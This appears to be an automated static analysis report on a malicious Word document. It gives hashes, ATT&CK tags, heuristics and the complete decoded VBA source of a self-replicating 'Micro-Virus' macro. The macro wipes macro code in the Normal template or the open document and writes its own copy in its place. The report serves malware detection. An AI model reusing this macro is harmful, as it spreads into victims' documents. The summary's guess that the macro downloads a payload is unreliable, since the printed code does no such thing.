Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 23deb4a7612173a7…

MALICIOUS

Office (OLE)

191.5 KB Created: 2015-11-26 07:38:00 Authoring application: Microsoft Office Word First seen: 2016-04-27
MD5: f1f31c2d03a7391df6d4c58904c0fdaa SHA-1: 7352cc498b2bd5fdbfd3158576a76c04ecb33db0 SHA-256: 23deb4a7612173a768adab13fd05851461c7dfc41bcefa3e4166c082fb39567d
120 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Office document containing VBA macros, specifically a Document_Open macro designed to execute code upon opening. The macro appears to be obfuscated and attempts to overwrite itself, a common technique for malware. The ClamAV detection name 'Doc.Macro.MicroVirus-6097260-0' strongly suggests malicious intent, likely to download and execute a secondary payload.

Heuristics 3

  • ClamAV: Doc.Macro.MicroVirus-6097260-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MicroVirus-6097260-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1668 bytes
SHA-256: 23c05dfe1843063484b69ac83a3c05ea521b15b6090dfe4b78d733dc465a3849
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
'MsgBox "DisplayStatusBar = False"

Options.SaveNormalPrompt = False


Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'MsgBox "Ourcode"

'get normal
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule


'if normal, set active;
If ThisDocument = NormalTemplate Then
'    MsgBox "ThisDocument = NormalTemplate"
    
    Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
'    MsgBox "Set Host = ActiveDocument"
End If

With Host
    If .Lines(1, 1) <> "'Micro-Virus" Then
    
        .DeleteLines 1, .CountOfLines
  '      MsgBox "DeleteLines 1, .CountOfLines"
        
        .InsertLines 1, Ourcode
        
        .ReplaceLine 2, "Sub Document_Close()"
    '    MsgBox "ReplaceLine 2,Close()"
       
         If ThisDocument = NormalTemplate Then
     '        MsgBox "ThisDocument = NormalTemplate"
             
             .ReplaceLine 2, "Sub Document_Open()"
      '       MsgBox "ReplaceLine 2,Open()"
             
              ActiveDocument.SaveAs ActiveDocument.FullName
       '     MsgBox "ActiveDocument.SaveAs"
            
         End If
    End If
End With
End Sub

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